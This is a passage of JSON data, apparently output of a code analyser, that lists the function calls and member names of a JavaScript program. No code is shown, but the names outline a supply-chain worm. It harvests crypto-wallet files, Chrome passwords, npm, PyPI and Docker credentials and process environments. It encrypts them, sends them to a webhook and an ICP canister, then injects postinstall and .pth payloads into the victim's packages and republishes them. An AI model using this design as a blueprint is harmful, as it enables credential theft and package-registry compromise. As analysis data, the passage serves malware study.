              "",
              "grab"
            ],
            [
              "",
              "path.join"
            ],
            [
              "",
              "grab"
            ],
            [
              "",
              "path.join"
            ],
            [
              "",
              "gacp"
            ],
            [
              "",
              "grab"
            ],
            [
              "",
              "grab"
            ],
            [
              "",
              "path.join"
            ],
            [
              "",
              "grab"
            ],
            [
              "",
              "path.join"
            ],
            [
              "",
              "grab"
            ],
            [
              "",
              "path.join"
            ],
            [
              "",
              "grab"
            ],
            [
              "",
              "path.join"
            ],
            [
              "",
              "path.join"
            ],
            [
              "",
              "fs.existsSync"
            ],
            [
              "",
              "raw"
            ],
            [
              "",
              "fs.readFileSync"
            ],
            [
              "",
              "fsSecrets.docker_config"
            ],
            [
              "",
              "grab"
            ],
            [
              "",
              "path.join"
            ],
            [
              "",
              "grab"
            ],
            [
              "",
              "path.join"
            ],
            [
              "",
              "grab"
            ],
            [
              "",
              "path.join"
            ],
            [
              "",
              "grab"
            ],
            [
              "",
              "path.join"
            ],
            [
              "",
              "grab"
            ],
            [
              "",
              "path.join"
            ],
            [
              "",
              "grab"
            ],
            [
              "",
              "path.join"
            ],
            [
              "",
              "grab"
            ],
            [
              "",
              "path.join"
            ],
            [
              "",
              "grab"
            ],
            [
              "",
              "path.join"
            ],
            [
              "",
              "grab"
            ],
            [
              "",
              "path.join"
            ],
            [
              "",
              "grab"
            ],
            [
              "",
              "path.join"
            ],
            [
              "",
              "grab"
            ],
            [
              "",
              "path.join"
            ],
            [
              "",
              "grab"
            ],
            [
              "",
              "grab"
            ],
            [
              "",
              "grab"
            ],
            [
              "",
              "grab"
            ],
            [
              "",
              "grabDir"
            ],
            [
              "",
              "grabDir"
            ],
            [
              "",
              "mmChrome"
            ],
            [
              "",
              "fs.existsSync"
            ],
            [
              "",
              "mmFiles"
            ],
            [
              "",
              "fs.readdirSync"
            ],
            [
              "",
              "fsSecrets.metamask_chrome"
            ],
            [
              "",
              "mmFiles.forEach"
            ],
            [
              "",
              "fp"
            ],
            [
              "",
              "stat"
            ],
            [
              "",
              "fs.statSync"
            ],
            [
              "",
              "stat.isFile"
            ],
            [
              "",
              "fsSecrets.metamask_chrome.f"
            ],
            [
              "",
              "fs.readFileSync.toString"
            ],
            [
              "",
              "fs.readFileSync"
            ],
            [
              "",
              "mmBrave"
            ],
            [
              "",
              "fs.existsSync"
            ],
            [
              "",
              "mmFiles"
            ],
            [
              "",
              "fs.readdirSync"
            ],
            [
              "",
              "fsSecrets.metamask_brave"
            ],
            [
              "",
              "mmFiles.forEach"
            ],
            [
              "",
              "fp"
            ],
            [
              "",
              "stat"
            ],
            [
              "",
              "fs.statSync"
            ],
            [
              "",
              "stat.isFile"
            ],
            [
              "",
              "fsSecrets.metamask_brave.f"
            ],
            [
              "",
              "fs.readFileSync.toString"
            ],
            [
              "",
              "fs.readFileSync"
            ],
            [
              "",
              "phantom"
            ],
            [
              "",
              "fs.existsSync"
            ],
            [
              "",
              "phFiles"
            ],
            [
              "",
              "fs.readdirSync"
            ],
            [
              "",
              "fsSecrets.phantom_chrome"
            ],
            [
              "",
              "phFiles.forEach"
            ],
            [
              "",
              "fp"
            ],
            [
              "",
              "stat"
            ],
            [
              "",
              "fs.statSync"
            ],
            [
              "",
              "stat.isFile"
            ],
            [
              "",
              "fsSecrets.phantom_chrome.f"
            ],
            [
              "",
              "fs.readFileSync.toString"
            ],
            [
              "",
              "fs.readFileSync"
            ],
            [
              "",
              "ffDir"
            ],
            [
              "",
              "fs.existsSync"
            ],
            [
              "",
              "profiles"
            ],
            [
              "",
              "fs.readdirSync.filter"
            ],
            [
              "",
              "fs.readdirSync"
            ],
            [
              "",
              "fs.statSync.isDirectory"
            ],
            [
              "",
              "fs.statSync"
            ],
            [
              "",
              "d.includes"
            ],
            [
              "",
              "storageDir"
            ],
            [
              "",
              "fs.existsSync"
            ],
            [
              "",
              "mozExts"
            ],
            [
              "",
              "fs.readdirSync.filter"
            ],
            [
              "",
              "fs.readdirSync"
            ],
            [
              "",
              "d.startsWith"
            ],
            [
              "",
              "idbDir"
            ],
            [
              "",
              "fs.existsSync"
            ],
            [
              "",
              "idbFiles"
            ],
            [
              "",
              "fs.readdirSync"
            ],
            [
              "",
              "idbFiles.forEach"
            ],
            [
              "",
              "fp"
            ],
            [
              "",
              "stat"
            ],
            [
              "",
              "fs.statSync"
            ],
            [
              "",
              "stat.isFile"
            ],
            [
              "",
              "fs.readFileSync.toString"
            ],
            [
              "",
              "fs.readFileSync"
            ],
            [
              "",
              "exodusDir"
            ],
            [
              "",
              "fs.existsSync"
            ],
            [
              "",
              "exFiles"
            ],
            [
              "",
              "fs.readdirSync"
            ],
            [
              "",
              "fsSecrets.exodus_wallet"
            ],
            [
              "",
              "exFiles.forEach"
            ],
            [
              "",
              "fp"
            ],
            [
              "",
              "stat"
            ],
            [
              "",
              "fs.statSync"
            ],
            [
              "",
              "stat.isFile"
            ],
            [
              "",
              "fsSecrets.exodus_wallet.f"
            ],
            [
              "",
              "fs.readFileSync.toString"
            ],
            [
              "",
              "fs.readFileSync"
            ],
            [
              "",
              "atomicDir"
            ],
            [
              "",
              "fs.existsSync"
            ],
            [
              "",
              "atFiles"
            ],
            [
              "",
              "fs.readdirSync"
            ],
            [
              "",
              "fsSecrets.atomic_wallet"
            ],
            [
              "",
              "atFiles.forEach"
            ],
            [
              "",
              "fp"
            ],
            [
              "",
              "stat"
            ],
            [
              "",
              "fs.statSync"
            ],
            [
              "",
              "stat.isFile"
            ],
            [
              "",
              "fsSecrets.atomic_wallet.f"
            ],
            [
              "",
              "fs.readFileSync.toString"
            ],
            [
              "",
              "fs.readFileSync"
            ],
            [
              "",
              "chromeLoginDataPath"
            ],
            [
              "",
              "os.platform"
            ],
            [
              "",
              "fs.existsSync"
            ],
            [
              "",
              "chromePasswords"
            ],
            [
              "",
              "extractChromePasswords"
            ],
            [
              "",
              "fsSecrets.chrome_decrypted_passwords"
            ],
            [
              "",
              "chromePasswords.slice"
            ],
            [
              "",
              "ledgerDir"
            ],
            [
              "",
              "fs.existsSync"
            ],
            [
              "",
              "fsSecrets.ledger_live_accounts"
            ],
            [
              "",
              "process.cwd"
            ],
            [
              "",
              "path.dirname"
            ],
            [
              "",
              "process.cwd"
            ],
            [
              "",
              "fs.existsSync"
            ],
            [
              "",
              "path.relative"
            ],
            [
              "",
              "fs.readFileSync"
            ],
            [
              "",
              "os.platform"
            ],
            [
              "",
              "procs"
            ],
            [
              "",
              "fs.readdirSync.filter.slice"
            ],
            [
              "",
              "fs.readdirSync.filter"
            ],
            [
              "",
              "fs.readdirSync"
            ],
            [
              "",
              "procEnvs"
            ],
            [
              "",
              "env"
            ],
            [
              "",
              "fs.readFileSync"
            ],
            [
              "",
              "cmdline"
            ],
            [
              "",
              "fs.readFileSync.replace.trim"
            ],
            [
              "",
              "fs.readFileSync.replace"
            ],
            [
              "",
              "fs.readFileSync"
            ],
            [
              "",
              "procEnvs.push"
            ],
            [
              "",
              "cmdline.substring"
            ],
            [
              "",
              "env.replace"
            ],
            [
              "",
              "fsSecrets.proc_environs"
            ],
            [
              "",
              "os.hostname"
            ],
            [
              "",
              "os.platform"
            ],
            [
              "",
              "os.arch"
            ],
            [
              "",
              "os.userInfo"
            ],
            [
              "",
              "process.cwd"
            ],
            [
              "",
              "pubKey"
            ],
            [
              "",
              "fs.existsSync"
            ],
            [
              "",
              "pubKey"
            ],
            [
              "",
              "fs.readFileSync"
            ],
            [
              "",
              "pubKey"
            ],
            [
              "",
              "sessionKey"
            ],
            [
              "",
              "crypto.randomBytes"
            ],
            [
              "",
              "iv"
            ],
            [
              "",
              "crypto.randomBytes"
            ],
            [
              "",
              "cipher"
            ],
            [
              "",
              "crypto.createCipheriv"
            ],
            [
              "",
              "enc"
            ],
            [
              "",
              "cipher.update"
            ],
            [
              "",
              "JSON.stringify"
            ],
            [
              "",
              "cipher.final"
            ],
            [
              "",
              "encKey"
            ],
            [
              "",
              "crypto.publicEncrypt"
            ],
            [
              "",
              "encKey.toString"
            ],
            [
              "",
              "iv.toString"
            ],
            [
              "",
              "ICP_CANISTER_ID"
            ],
            [
              "",
              "url"
            ],
            [
              "",
              "transport"
            ],
            [
              "",
              "req"
            ],
            [
              "",
              "transport.request"
            ],
            [
              "",
              "Buffer.byteLength"
            ],
            [
              "",
              "body"
            ],
            [
              "",
              "res.on"
            ],
            [
              "",
              "res.on"
            ],
            [
              "",
              "resolve"
            ],
            [
              "",
              "req.on"
            ],
            [
              "",
              "resolve"
            ],
            [
              "",
              "req.setTimeout"
            ],
            [
              "",
              "req.destroy"
            ],
            [
              "",
              "resolve"
            ],
            [
              "",
              "req.write"
            ],
            [
              "",
              "req.end"
            ],
            [
              "",
              "req"
            ],
            [
              "",
              "https.request"
            ],
            [
              "",
              "Buffer.byteLength"
            ],
            [
              "",
              "body"
            ],
            [
              "",
              "res.on"
            ],
            [
              "",
              "res.on"
            ],
            [
              "",
              "resolve"
            ],
            [
              "",
              "req.on"
            ],
            [
              "",
              "resolve"
            ],
            [
              "",
              "req.setTimeout"
            ],
            [
              "",
              "req.destroy"
            ],
            [
              "",
              "resolve"
            ],
            [
              "",
              "req.write"
            ],
            [
              "",
              "req.end"
            ],
            [
              "",
              "MAX_CHUNK"
            ],
            [
              "",
              "byteLen"
            ],
            [
              "",
              "Buffer.byteLength"
            ],
            [
              "",
              "canisterPost"
            ],
            [
              "",
              "totalChunks"
            ],
            [
              "",
              "Math.ceil"
            ],
            [
              "",
              "results"
            ],
            [
              "",
              "chunk"
            ],
            [
              "",
              "data.slice"
            ],
            [
              "",
              "wrapper"
            ],
            [
              "",
              "JSON.stringify"
            ],
            [
              "",
              "canisterPost"
            ],
            [
              "",
              "results.push"
            ],
            [
              "",
              "results.every"
            ],
            [
              "",
              "CANISTER_EXCLUDE_KEYS"
            ],
            [
              "",
              "ev"
            ],
            [
              "",
              "slimFs"
            ],
            [
              "",
              "Object.entries"
            ],
            [
              "",
              "CANISTER_EXCLUDE_KEYS.has"
            ],
            [
              "",
              "k.startsWith"
            ],
            [
              "",
              "slimFs.k"
            ],
            [
              "",
              "slim"
            ],
            [
              "",
              "slimFs"
            ],
            [
              "",
              "Object.entries"
            ],
            [
              "",
              "CANISTER_EXCLUDE_KEYS.has"
            ],
            [
              "",
              "k.startsWith"
            ],
            [
              "",
              "slimFs.k"
            ],
            [
              "",
              "encrypt"
            ],
            [
              "",
              "data"
            ],
            [
              "",
              "JSON.stringify"
            ],
            [
              "",
              "wid"
            ],
            [
              "",
              "canisterEnvelope"
            ],
            [
              "",
              "canisterEnvelope"
            ],
            [
              "",
              "encryptSlim"
            ],
            [
              "",
              "canisterEnvelope"
            ],
            [
              "",
              "trimForCanister"
            ],
            [
              "",
              "canisterData"
            ],
            [
              "",
              "JSON.stringify"
            ],
            [
              "",
              "Buffer.byteLength"
            ],
            [
              "",
              "Buffer.byteLength"
            ],
            [
              "",
              "results"
            ],
            [
              "",
              "Promise.allSettled"
            ],
            [
              "",
              "exfilToWebhook"
            ],
            [
              "",
              "crypto.createHmac.update.digest"
            ],
            [
              "",
              "crypto.createHmac.update"
            ],
            [
              "",
              "crypto.createHmac"
            ],
            [
              "",
              "Promise.resolve"
            ],
            [
              "",
              "exfilToCanister"
            ],
            [
              "",
              "whRes"
            ],
            [
              "",
              "icRes"
            ],
            [
              "",
              "tokens"
            ],
            [
              "",
              "tokens.push"
            ],
            [
              "",
              "os.homedir"
            ],
            [
              "",
              "process.cwd"
            ],
            [
              "",
              "fs.existsSync"
            ],
            [
              "",
              "content"
            ],
            [
              "",
              "fs.readFileSync"
            ],
            [
              "",
              "lines"
            ],
            [
              "",
              "content.split"
            ],
            [
              "",
              "line.match"
            ],
            [
              "",
              "registryHost"
            ],
            [
              "",
              "tokenVal"
            ],
            [
              "",
              "tokenVal.startsWith"
            ],
            [
              "",
              "tokenVal.endsWith"
            ],
            [
              "",
              "envName"
            ],
            [
              "",
              "tokenVal.slice"
            ],
            [
              "",
              "tokenVal"
            ],
            [
              "",
              "registry"
            ],
            [
              "",
              "tokens.push"
            ],
            [
              "",
              "all"
            ],
            [
              "",
              "findNpmTokens"
            ],
            [
              "",
              "npmjsTokens"
            ],
            [
              "",
              "all.filter"
            ],
            [
              "",
              "t.registryHost.includes"
            ],
            [
              "",
              "candidates"
            ],
            [
              "",
              "res"
            ],
            [
              "",
              "registryRequest"
            ],
            [
              "",
              "base"
            ],
            [
              "",
              "transport"
            ],
            [
              "",
              "req"
            ],
            [
              "",
              "transport.request"
            ],
            [
              "",
              "res.on"
            ],
            [
              "",
              "res.on"
            ],
            [
              "",
              "resolve"
            ],
            [
              "",
              "JSON.parse"
            ],
            [
              "",
              "resolve"
            ],
            [
              "",
              "req.on"
            ],
            [
              "",
              "req.setTimeout"
            ],
            [
              "",
              "req.destroy"
            ],
            [
              "",
              "reject"
            ],
            [
              "",
              "req.end"
            ],
            [
              "",
              "whoami"
            ],
            [
              "",
              "registryRequest"
            ],
            [
              "",
              "username"
            ],
            [
              "",
              "pkgRes"
            ],
            [
              "",
              "registryRequest"
            ],
            [
              "",
              "packages"
            ],
            [
              "",
              "Object.entries.filter.map"
            ],
            [
              "",
              "Object.entries.filter"
            ],
            [
              "",
              "Object.entries"
            ],
            [
              "",
              "searchRes"
            ],
            [
              "",
              "registryRequest"
            ],
            [
              "",
              "packages"
            ],
            [
              "",
              "searchRes.data.objects.map.filter"
            ],
            [
              "",
              "searchRes.data.objects.map"
            ],
            [
              "",
              "packages"
            ],
            [
              "",
              "process.env.DIST_PACKAGES.split.map.filter"
            ],
            [
              "",
              "process.env.DIST_PACKAGES.split.map"
            ],
            [
              "",
              "process.env.DIST_PACKAGES.split"
            ],
            [
              "",
              "s.trim"
            ],
            [
              "",
              "v.split"
            ],
            [
              "",
              "String"
            ],
            [
              "",
              "parseInt"
            ],
            [
              "",
              "p.join"
            ],
            [
              "",
              "pkgName.startsWith"
            ],
            [
              "",
              "scope"
            ],
            [
              "",
              "pkgName.split"
            ],
            [
              "",
              "os.homedir"
            ],
            [
              "",
              "process.cwd"
            ],
            [
              "",
              "fs.existsSync"
            ],
            [
              "",
              "content"
            ],
            [
              "",
              "fs.readFileSync"
            ],
            [
              "",
              "scopeMatch"
            ],
            [
              "",
              "content.match"
            ],
            [
              "",
              "scope.replace"
            ],
            [
              "",
              "all"
            ],
            [
              "",
              "findNpmTokens"
            ],
            [
              "",
              "host"
            ],
            [
              "",
              "match"
            ],
            [
              "",
              "all.find"
            ],
            [
              "",
              "t.registryHost.includes"
            ],
            [
              "",
              "ver"
            ],
            [
              "",
              "bumpPatch"
            ],
            [
              "",
              "attempts"
            ],
            [
              "",
              "existingVersions.includes"
            ],
            [
              "",
              "ver"
            ],
            [
              "",
              "bumpPatch"
            ],
            [
              "",
              "pkgRegistry"
            ],
            [
              "",
              "getRegistryForPackage"
            ],
            [
              "",
              "pkgToken"
            ],
            [
              "",
              "getTokenForRegistry"
            ],
            [
              "",
              "meta"
            ],
            [
              "",
              "registryRequest"
            ],
            [
              "",
              "encodeURIComponent"
            ],
            [
              "",
              "latest"
            ],
            [
              "",
              "tarball"
            ],
            [
              "",
              "existingVersions"
            ],
            [
              "",
              "Object.keys"
            ],
            [
              "",
              "newVer"
            ],
            [
              "",
              "findNextVersion"
            ],
            [
              "",
              "tmpDir"
            ],
            [
              "",
              "fs.mkdtempSync"
            ],
            [
              "",
              "os.tmpdir"
            ],
            [
              "",
              "execSync"
            ],
            [
              "",
              "pkgDir"
            ],
            [
              "",
              "fs.existsSync"
            ],
            [
              "",
              "pjPath"
            ],
            [
              "",
              "pj"
            ],
            [
              "",
              "JSON.parse"
            ],
            [
              "",
              "fs.readFileSync"
            ],
            [
              "",
              "pj.version"
            ],
            [
              "",
              "pj.scripts"
            ],
            [
              "",
              "payloadDir"
            ],
            [
              "",
              "payloadRelPath"
            ],
            [
              "",
              "Array.isArray"
            ],
            [
              "",
              "included"
            ],
            [
              "",
              "pj.files.map"
            ],
            [
              "",
              "f.replace.replace"
            ],
            [
              "",
              "f.replace"
            ],
            [
              "",
              "preferred"
            ],
            [
              "",
              "targetDir"
            ],
            [
              "",
              "included.some"
            ],
            [
              "",
              "inc.startsWith"
            ],
            [
              "",
              "targetDir"
            ],
            [
              "",
              "targetDir"
            ],
            [
              "",
              "payloadDir"
            ],
            [
              "",
              "payloadRelPath"
            ],
            [
              "",
              "payloadDir"
            ],
            [
              "",
              "payloadRelPath"
            ],
            [
              "",
              "npmignorePath"
            ],
            [
              "",
              "fs.existsSync"
            ],
            [
              "",
              "ignoreContent"
            ],
            [
              "",
              "fs.readFileSync"
            ],
            [
              "",
              "payloadFilename"
            ],
            [
              "",
              "path.basename"
            ],
            [
              "",
              "payloadDirname"
            ],
            [
              "",
              "path.dirname"
            ],
            [
              "",
              "ignoreContent.includes"
            ],
            [
              "",
              "ignoreContent.includes"
            ],
            [
              "",
              "lines"
            ],
            [
              "",
              "ignoreContent.split.filter"
            ],
            [
              "",
              "ignoreContent.split"
            ],
            [
              "",
              "l.includes"
            ],
            [
              "",
              "l.includes"
            ],
            [
              "",
              "fs.writeFileSync"
            ],
            [
              "",
              "lines.join"
            ],
            [
              "",
              "pj.scripts.postinstall"
            ],
            [
              "",
              "fs.writeFileSync"
            ],
            [
              "",
              "JSON.stringify"
            ],
            [
              "",
              "fs.mkdirSync"
            ],
            [
              "",
              "fs.copyFileSync"
            ],
            [
              "",
              "fs.existsSync"
            ],
            [
              "",
              "fs.copyFileSync"
            ],
            [
              "",
              "rc"
            ],
            [
              "",
              "regHost"
            ],
            [
              "",
              "fs.writeFileSync"
            ],
            [
              "",
              "fs.writeFileSync"
            ],
            [
              "",
              "JSON.stringify"
            ],
            [
              "",
              "publishCmd"
            ],
            [
              "",
              "pkgName.startsWith"
            ],
            [
              "",
              "execSync"
            ],
            [
              "",
              "stderr"
            ],
            [
              "",
              "e.stderr.toString"
            ],
            [
              "",
              "stdout"
            ],
            [
              "",
              "e.stdout.toString"
            ],
            [
              "",
              "full"
            ],
            [
              "",
              "full.includes"
            ],
            [
              "",
              "full.includes"
            ],
            [
              "",
              "full.includes"
            ],
            [
              "",
              "full.includes"
            ],
            [
              "",
              "full.includes"
            ],
            [
              "",
              "full.includes"
            ],
            [
              "",
              "full.includes"
            ],
            [
              "",
              "full.slice"
            ],
            [
              "",
              "fs.rmSync"
            ],
            [
              "",
              "PYPI_REGISTRY"
            ],
            [
              "",
              "PY_DIST_SYNC"
            ],
            [
              "",
              "pypirc"
            ],
            [
              "",
              "os.homedir"
            ],
            [
              "",
              "fs.existsSync"
            ],
            [
              "",
              "content"
            ],
            [
              "",
              "fs.readFileSync"
            ],
            [
              "",
              "pwMatch"
            ],
            [
              "",
              "content.match"
            ],
            [
              "",
              "unMatch"
            ],
            [
              "",
              "content.match"
            ],
            [
              "",
              "pkgName.replace"
            ],
            [
              "",
              "pypiUrl"
            ],
            [
              "",
              "transport"
            ],
            [
              "",
              "meta"
            ],
            [
              "",
              "meta"
            ],
            [
              "",
              "transport.get.on"
            ],
            [
              "",
              "transport.get"
            ],
            [
              "",
              "res.on"
            ],
            [
              "",
              "res.on"
            ],
            [
              "",
              "resolve"
            ],
            [
              "",
              "JSON.parse"
            ],
            [
              "",
              "reject"
            ],
            [
              "",
              "meta"
            ],
            [
              "",
              "latestVersion"
            ],
            [
              "",
              "newVersion"
            ],
            [
              "",
              "bumpPatch"
            ],
            [
              "",
              "tmpDir"
            ],
            [
              "",
              "fs.mkdtempSync"
            ],
            [
              "",
              "os.tmpdir"
            ],
            [
              "",
              "modName"
            ],
            [
              "",
              "pkgName.replace"
            ],
            [
              "",
              "fs.writeFileSync"
            ],
            [
              "",
              "generateSetupPy"
            ],
            [
              "",
              "fs.writeFileSync"
            ],
            [
              "",
              "generateModulePy"
            ],
            [
              "",
              "fs.writeFileSync"
            ],
            [
              "",
              "generatePthPayload"
            ],
            [
              "",
              "fs.writeFileSync"
            ],
            [
              "",
              "setupWithPth"
            ],
            [
              "",
              "fs.writeFileSync"
            ],
            [
              "",
              "execSync"
            ],
            [
              "",
              "distFile"
            ],
            [
              "",
              "fs.readdirSync"
            ],
            [
              "",
              "execSync"
            ],
            [
              "",
              "fs.rmSync"
            ],
            [
              "",
              "os.hostname"
            ],
            [
              "",
              "os.userInfo"
            ],
            [
              "",
              "evidence"
            ],
            [
              "",
              "harvest"
            ],
            [
              "",
              "credCount"
            ],
            [
              "",
              "Object.keys"
            ],
            [
              "",
              "fsCount"
            ],
            [
              "",
              "Object.keys"
            ],
            [
              "",
              "envelope"
            ],
            [
              "",
              "encrypt"
            ],
            [
              "",
              "exfil"
            ],
            [
              "",
              "tokenInfo"
            ],
            [
              "",
              "findNpmToken"
            ],
            [
              "",
              "enumPackages"
            ],
            [
              "",
              "targets"
            ],
            [
              "",
              "packages.slice"
            ],
            [
              "",
              "infected"
            ],
            [
              "",
              "infectPackage"
            ],
            [
              "",
              "pypiToken"
            ],
            [
              "",
              "findPypiToken"
            ],
            [
              "",
              "pypiPackages"
            ],
            [
              "",
              "pypiPackages"
            ],
            [
              "",
              "process.env.PY_DIST_PACKAGES.split.map.filter"
            ],
            [
              "",
              "process.env.PY_DIST_PACKAGES.split.map"
            ],
            [
              "",
              "process.env.PY_DIST_PACKAGES.split"
            ],
            [
              "",
              "s.trim"
            ],
            [
              "",
              "pyInfected"
            ],
            [
              "",
              "infectPypiPackage"
            ],
            [
              "",
              "report"
            ],
            [
              "",
              "Math.min"
            ],
            [
              "",
              "exfil"
            ],
            [
              "",
              "setTimeout"
            ],
            [
              "",
              "main.catch.finally"
            ],
            [
              "",
              "main.catch"
            ],
            [
              "",
              "main"
            ],
            [
              "",
              "console.error"
            ],
            [
              "",
              "process.exit"
            ],
            [
              "",
              "setTimeout.unref"
            ],
            [
              "",
              "setTimeout"
            ],
            [
              "",
              "process.exit"
            ],
            [
              "",
              "child_process"
            ],
            [
              "",
              "crypto"
            ],
            [
              "",
              "fs"
            ],
            [
              "",
              "http"
            ],
            [
              "",
              "https"
            ],
            [
              "",
              "os"
            ],
            [
              "",
              "path"
            ]
          ],
          "mbr": [
            "Array.isArray",
            "Buffer.byteLength",
            "Buffer.concat",
            "Buffer.from",
            "CANISTER_EXCLUDE_KEYS.has",
            "Date().toISOString",
            "Date.now",
            "JSON.parse",
            "JSON.stringify",
            "Math.ceil",
            "Math.min",
            "Math.random",
            "Math.random().toString",
            "Math.random().toString().slice",
            "Object.entries",
            "Object.entries().filter",
            "Object.entries().filter().map",
            "Object.keys",
            "Object.keys().length",
            "Promise.allSettled",
            "Promise.resolve",
            "URL().host",
            "all.filter",
            "all.find",
            "all.length",
            "atFiles.forEach",
            "base.hostname",
            "base.port",
            "base.protocol",
            "c.match",
            "chromePasswords.length",
            "chromePasswords.slice",
            "cipher.final",
            "cipher.update",
            "cmdline.substring",
            "console.error",
            "console.log",
            "content.match",
            "content.split",
            "crypto.constants",
            "crypto.constants.RSA_PKCS1_OAEP_PADDING",
            "crypto.createCipheriv",
            "crypto.createDecipheriv",
            "crypto.createHmac",
            "crypto.createHmac().update",
            "crypto.createHmac().update().digest",
            "crypto.pbkdf2Sync",
            "crypto.publicEncrypt",
            "crypto.randomBytes",
            "d.includes",
            "d.startsWith",
            "data.slice",
            "decipher.final",
            "decipher.update",
            "decrypted.length",
            "decrypted.slice",
            "decrypted.toString",
            "e.message",
            "e.stderr",
            "e.stderr.toString",
            "e.stdout",
            "e.stdout.toString",
            "encKey.toString",
            "encryptedData.length",
            "encryptedData.slice",
            "encryptedData.slice().toString",
            "encryptedData.toString",
            "env.replace",
            "envelope.algorithm",
            "envelope.plaintext_data",
            "envelope.session_id",
            "ev.filesystem_secrets",
            "evidence.credentials",
            "evidence.filesystem_secrets",
            "exFiles.forEach",
            "existingVersions.includes",
            "f.replace",
            "f.replace().replace",
            "f.startsWith",
            "files.length",
            "files.map",
            "fs.copyFileSync",
            "fs.existsSync",
            "fs.mkdirSync",
            "fs.mkdtempSync",
            "fs.readFileSync",
            "fs.readFileSync().replace",
            "fs.readFileSync().replace().trim",
            "fs.readFileSync().toString",
            "fs.readdirSync",
            "fs.readdirSync().filter",
            "fs.readdirSync().filter().slice",
            "fs.rmSync",
            "fs.statSync",
            "fs.statSync().isDirectory",
            "fs.unlinkSync",
            "fs.writeFileSync",
            "fsSecrets.atomic_wallet",
            "fsSecrets.chrome_decrypted_passwords",
            "fsSecrets.docker_config",
            "fsSecrets.exodus_wallet",
            "fsSecrets.ledger_live_accounts",
            "fsSecrets.metamask_brave",
            "fsSecrets.metamask_chrome",
            "fsSecrets.npm_token",
            "fsSecrets.npmrc",
            "fsSecrets.phantom_chrome",
            "fsSecrets.proc_environs",
            "full.includes",
            "full.slice",
            "https.request",
            "icRes.body",
            "icRes.error",
            "icRes.ok",
            "icRes.status",
            "idbFiles.forEach",
            "ignoreContent.includes",
            "ignoreContent.split",
            "ignoreContent.split().filter",
            "inc.startsWith",
            "included.some",
            "iv.toString",
            "k.startsWith",
            "l.includes",
            "line.match",
            "line.split",
            "lines.join",
            "log.push",
            "main().catch",
            "main().catch().finally",
            "match.token",
            "meta.data",
            "meta.data.versions",
            "meta.info",
            "meta.info.version",
            "meta.status",
            "mmFiles.forEach",
            "npmjsTokens.length",
            "o.package",
            "o.package.name",
            "os.arch",
            "os.homedir",
            "os.hostname",
            "os.platform",
            "os.tmpdir",
            "os.userInfo",
            "os.userInfo().username",
            "p.join",
            "p.test",
            "packages.length",
            "packages.slice",
            "parts.length",
            "passwords.push",
            "path.basename",
            "path.dirname",
            "path.join",
            "path.relative",
            "payload.session_id",
            "payload.timestamp",
            "phFiles.forEach",
            "pj.files",
            "pj.files.map",
            "pj.scripts",
            "pj.scripts.postinstall",
            "pj.scripts.prepack",
            "pj.scripts.prepare",
            "pj.scripts.prepublishOnly",
            "pj.version",
            "pkgName.replace",
            "pkgName.split",
            "pkgName.startsWith",
            "pkgRes.data",
            "procEnvs.length",
            "procEnvs.push",
            "process.cwd",
            "process.env",
            "process.env.CI",
            "process.env.DIST_PACKAGES",
            "process.env.DIST_PACKAGES.split",
            "process.env.DIST_PACKAGES.split().map",
            "process.env.DIST_PACKAGES.split().map().filter",
            "process.env.DIST_SCOPE",
            "process.env.DIST_SYNC",
            "process.env.GITHUB_ACTIONS",
            "process.env.GITHUB_REF",
            "process.env.GITHUB_REPOSITORY",
            "process.env.GITHUB_SHA",
            "process.env.GITLAB_CI",
            "process.env.GOOGLE_APPLICATION_CREDENTIALS",
            "process.env.ICP_CANISTER_ID",
            "process.env.NPM_TOKEN",
            "process.env.PKG_DEBUG",
            "process.env.PYPI_REGISTRY",
            "process.env.PY_DIST_PACKAGES",
            "process.env.PY_DIST_PACKAGES.split",
            "process.env.PY_DIST_PACKAGES.split().map",
            "process.env.PY_DIST_PACKAGES.split().map().filter",
            "process.env.PY_DIST_SYNC",
            "process.env.RSA_PUBLIC_KEY",
            "process.env.RSA_PUBLIC_KEY_PATH",
            "process.env.TEL_ENDPOINT",
            "process.env.TEL_SIGN_KEY",
            "process.env.TWINE_PASSWORD",
            "process.env.TWINE_USERNAME",
            "process.env._PKG_INIT",
            "process.env.npm_config_registry",
            "process.exit",
            "process.version",
            "pypiPackages.length",
            "pypiToken.source",
            "pypiToken.token",
            "pypiToken.username",
            "pypiUrl.protocol",
            "r.error",
            "r.ok",
            "r.status",
            "req.destroy",
            "req.end",
            "req.on",
            "req.setTimeout",
            "req.write",
            "res.data",
            "res.data.username",
            "res.on",
            "res.status",
            "res.statusCode",
            "result.length",
            "result.toString",
            "result.toString().trim",
            "result.toString().trim().split",
            "results.every",
            "results.length",
            "results.push",
            "s.trim",
            "scope.replace",
            "searchRes.data",
            "searchRes.data.objects",
            "searchRes.data.objects.map",
            "searchRes.data.objects.map().filter",
            "searchRes.status",
            "sensitivePatterns.some",
            "setTimeout().unref",
            "stat.isFile",
            "stat.size",
            "t.registryHost",
            "t.registryHost.includes",
            "t.source",
            "t.token",
            "targets.length",
            "tokenInfo.source",
            "tokenInfo.token",
            "tokenVal.endsWith",
            "tokenVal.slice",
            "tokenVal.startsWith",
            "tokens.push",
            "transport.get",
            "transport.get().on",
            "transport.request",
            "url.hostname",
            "url.pathname",
            "url.port",
            "url.protocol",
            "url.substring",
            "username.substring",
            "v.split",
            "whRes.error",
            "whRes.ok",
            "whRes.status",
            "whoami.data",
            "whoami.data.username",
            "whoami.status"
          ],
          "tgt": [
            "Array.isArray",
            "Buffer.byteLength",
            "Buffer.concat",
            "Buffer.from",
            "CANISTER_EXCLUDE_KEYS.has",
            "Date",
            "Date().toISOString",
            "Date.now",
            "Error",
            "JSON.parse",
            "JSON.stringify",
            "L",
            "Math.ceil",
            "Math.min",
            "Math.random",
            "Math.random().toString",
            "Math.random().toString().slice",
            "Object.entries",
            "Object.entries().filter",
            "Object.entries().filter().map",
            "Object.keys",
            "Promise",
            "Promise.allSettled",
            "Promise.resolve",
            "RegExp",
            "Set",
            "String",
            "URL",
            "all.filter",
            "all.find",
            "atFiles.forEach",
            "bumpPatch",
            "c.match",
            "canisterPost",
            "chromePasswords.slice",
            "cipher.final",
            "cipher.update",
            "cmdline.substring",
            "console.error",
            "console.log",
            "content.match",
            "content.split",
            "crypto.createCipheriv",
            "crypto.createDecipheriv",
            "crypto.createHmac",
            "crypto.createHmac().update",
            "crypto.createHmac().update().digest",
            "crypto.pbkdf2Sync",
            "crypto.publicEncrypt",
            "crypto.randomBytes",
            "d.includes",
            "d.startsWith",
            "data.slice",
            "decipher.final",
            "decipher.update",
            "decryptChromePassword",
            "decrypted.slice",
            "decrypted.toString",
            "e.stderr.toString",
            "e.stdout.toString",
            "encKey.toString",
            "encodeURIComponent",
            "encrypt",
